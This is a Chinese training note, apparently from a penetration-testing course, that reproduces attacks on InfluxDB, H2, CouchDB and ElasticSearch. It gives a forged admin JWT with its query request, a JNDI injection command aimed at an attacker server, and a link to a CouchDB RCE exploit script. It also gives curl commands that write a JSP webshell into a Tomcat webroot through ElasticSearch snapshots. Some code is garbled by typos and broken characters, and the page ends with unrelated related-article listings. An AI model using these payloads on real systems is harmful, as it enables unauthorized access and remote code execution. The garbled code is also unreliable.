网络安全全栈培训笔记(56-服务攻防-数据库安全H2ElasticsearchCouchDBInfluxdb复现)

本文主要是介绍网络安全全栈培训笔记(56-服务攻防-数据库安全H2ElasticsearchCouchDBInfluxdb复现),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

第56天 服务攻防-数据库安全&H2&Elasticsearch&CouchDB&Influxdb复现

在这里插入图片描述

知识点:

1、服务攻防数据库类型安全
2、influxdb,.未授权访问wt验证
3、H2 database-未授权访问-配置不当
4、CouchDB-权限绕过配合RCE-漏洞
5、ElasticSearch-文件写入&RCE-漏洞
#章节内容:
常见服务应用的安全测试:
1、配置不当-未授权访问
2、安全机制特定安全漏洞
3、安全机制弱口令爆破攻击

#前置知识:
应用服务安全测试流程:见图
1、判断服务开放情况端口扫描&组合应用等
2、判折服务类型归属数据库&文件传输&通讯等
3、判折服务利用方式特定漏洞&未授权&弱口令等
在这里插入图片描述

演示案例:

Influxdb-未授权访问-Jwt验证不当
H2database-未授权访问-配置不当
CouchDB-权限绕过配合RCE-漏洞
ElasticSearch-文件写入&RCE-漏洞

#nfluxdb-未授权访问-Jwt验证不当
默认端☐:8086,8088
influxdb是一款菩名的时序数据库,其使用jwt作为鉴权方式。在用户开启了认证,但未设
置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户
身份在influxdb中执行SQL语句,
1、使用 https://jwt.io/ 生成一个带有空密钥的有效 JWT 令牌:

{
alg":"HS256",
"typ":"JWT"
}
{
"usemame":"admin",
"exp":1676346267
}

其中是管理员帐户名称,是令牌过期时间。您应该设置为将来的时间以使其生效:usernameexpexp
在这里插入图片描述
然后把这个令牌带到请求中,并成功在服务器中执行SQL语句:show users

POST /query HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyOTg2MzQ2MjY3fQ.LJDvEy5zvSEpA_C6pnK3JJFkUKGq9eEi8T2wdum3R_s
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22db=sample&q=show+users

在这里插入图片描述
#H2 database-未授权访问-配置不当
默认端口:20051
H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页
面,在Spring开发中,如果我们设置如下选项,即可允许外部用户访问Wb管理页面,且
没有鉴权:默认端口:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JND注入攻击,进而在目标环境下执行任意命令。
管理页面默认为。http://your-ip:8080http://your-ip:8080/h2-console/
1、下载JNDI-Injection-Exploit
https://github.com/welk1n/JNDI-Injection-Exploit
2、生成执行RMI Payload-URL
-C执行命令-A服务器地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-C touch /tmp/success -A 47.94.236.117
在这里插入图片描述
在攻击机运行poc,执行后攻击机会监听8180、1099、1389端口
在这里插入图片描述
javax.naming.InitialContext是 JNDI 工厂类名,URL 是恶意的 RMI 地址。rmi://evil:23456/BypassByEL
攻击机的 RMI 服务器收到以下请求:
在这里插入图片描述
touch /tmp/success已成功执行:
在这里插入图片描述

#CouchDB-权限绕过RCE-CVE-2017-12636
1、下载exp.py
2、修改目标和反弹地址
3、Python3调用执行即可
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

#ElasticSearch-文件写入&RCE漏洞
默认端口:92009300
Elasticsearch RCE CVE-2014-3120
1、漏洞需要s中至少存在一条数据,所以我们需要先创建一条数据

POST /website/blog/HTTP/1.1
Host:your-ip:9200
Accept:*/
Accept-Language:en
User-Agent:Mozilla/5.0 (compatible;MSIE 9.0:Windows NT 6.1;Win64:x64:Trident/5.0)
Connection:close
Content-Type:application/x-www-form-urlencoded
Content-Length:25
{
"name":"xiaodi"
}

2、直接发包触发执行命令

Elasticsearch文件写入wooyun2015110216
9200一股为ElasticSearch的常用端口,此漏洞环境需要与中间件使用
1、发现9200端口存在elasti-search页面,8080存在tomcat目录
2、利用ElasticSearch写入后门到/usr/local/tomcat/webapps/wwwroot/

curl -XPOST http://123.58.236.76:31556/yz.jsp/yz jsp/1-d'
["<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte【】
{47,116,101,115,116,46,106,115,112)》,new String(new byte【】
(114,119))).write(request.getParameter(new String(new byte[(102))).getBytes();
%>"-"test"
curl -XPUT 'http://123.58.236.76:31556/snapshot/yz.jsp'-d'
"type"."fs",
"settings":{
"location":"/usr/local/tomcat/webapps/wwwroot/",
"compress":false
}
}

3.、访问8080端口snapshot–yz jspi文件写入代码到test jsp中
http://123.58.236.76:31557/wwwroot/indices/yz.jsp/snapshot-yz jsp?f=success
http://123.58.236.76:31557/wwwroot/test.jsp

这篇关于网络安全全栈培训笔记(56-服务攻防-数据库安全H2ElasticsearchCouchDBInfluxdb复现)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/635498

相关文章

sysmain服务可以禁用吗? 电脑sysmain服务关闭后的影响与操作指南

《sysmain服务可以禁用吗?电脑sysmain服务关闭后的影响与操作指南》在Windows系统中,SysMain服务(原名Superfetch)作为一个旨在提升系统性能的关键组件,一直备受用户关... 在使用 Windows 系统时,有时候真有点像在「开盲盒」。全新安装系统后的「默认设置」,往往并不尽编

Python 基于http.server模块实现简单http服务的代码举例

《Python基于http.server模块实现简单http服务的代码举例》Pythonhttp.server模块通过继承BaseHTTPRequestHandler处理HTTP请求,使用Threa... 目录测试环境代码实现相关介绍模块简介类及相关函数简介参考链接测试环境win11专业版python

Nginx中配置使用非默认80端口进行服务的完整指南

《Nginx中配置使用非默认80端口进行服务的完整指南》在实际生产环境中,我们经常需要将Nginx配置在其他端口上运行,本文将详细介绍如何在Nginx中配置使用非默认端口进行服务,希望对大家有所帮助... 目录一、为什么需要使用非默认端口二、配置Nginx使用非默认端口的基本方法2.1 修改listen指令

SysMain服务可以关吗? 解决SysMain服务导致的高CPU使用率问题

《SysMain服务可以关吗?解决SysMain服务导致的高CPU使用率问题》SysMain服务是超级预读取,该服务会记录您打开应用程序的模式,并预先将它们加载到内存中以节省时间,但它可能占用大量... 在使用电脑的过程中,CPU使用率居高不下是许多用户都遇到过的问题,其中名为SysMain的服务往往是罪魁

Python学习笔记之getattr和hasattr用法示例详解

《Python学习笔记之getattr和hasattr用法示例详解》在Python中,hasattr()、getattr()和setattr()是一组内置函数,用于对对象的属性进行操作和查询,这篇文章... 目录1.getattr用法详解1.1 基本作用1.2 示例1.3 原理2.hasattr用法详解2.

解决若依微服务框架启动报错的问题

《解决若依微服务框架启动报错的问题》Invalidboundstatement错误通常由MyBatis映射文件未正确加载或Nacos配置未读取导致,需检查XML的namespace与方法ID是否匹配,... 目录ruoyi-system模块报错报错详情nacos文件目录总结ruoyi-systnGLNYpe

Nginx进行平滑升级的实战指南(不中断服务版本更新)

《Nginx进行平滑升级的实战指南(不中断服务版本更新)》Nginx的平滑升级(也称为热升级)是一种在不停止服务的情况下更新Nginx版本或添加模块的方法,这种升级方式确保了服务的高可用性,避免了因升... 目录一.下载并编译新版Nginx1.下载解压2.编译二.替换可执行文件,并平滑升级1.替换可执行文件

Spring Boot 与微服务入门实战详细总结

《SpringBoot与微服务入门实战详细总结》本文讲解SpringBoot框架的核心特性如快速构建、自动配置、零XML与微服务架构的定义、演进及优缺点,涵盖开发环境准备和HelloWorld实战... 目录一、Spring Boot 核心概述二、微服务架构详解1. 微服务的定义与演进2. 微服务的优缺点三

RabbitMQ消息总线方式刷新配置服务全过程

《RabbitMQ消息总线方式刷新配置服务全过程》SpringCloudBus通过消息总线与MQ实现微服务配置统一刷新,结合GitWebhooks自动触发更新,避免手动重启,提升效率与可靠性,适用于配... 目录前言介绍环境准备代码示例测试验证总结前言介绍在微服务架构中,为了更方便的向微服务实例广播消息,

关于DNS域名解析服务

《关于DNS域名解析服务》:本文主要介绍关于DNS域名解析服务,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录DNS系统的作用及类型DNS使用的协议及端口号DNS系统的分布式数据结构DNS的分布式互联网解析库域名体系结构两种查询方式DNS服务器类型统计构建DNS域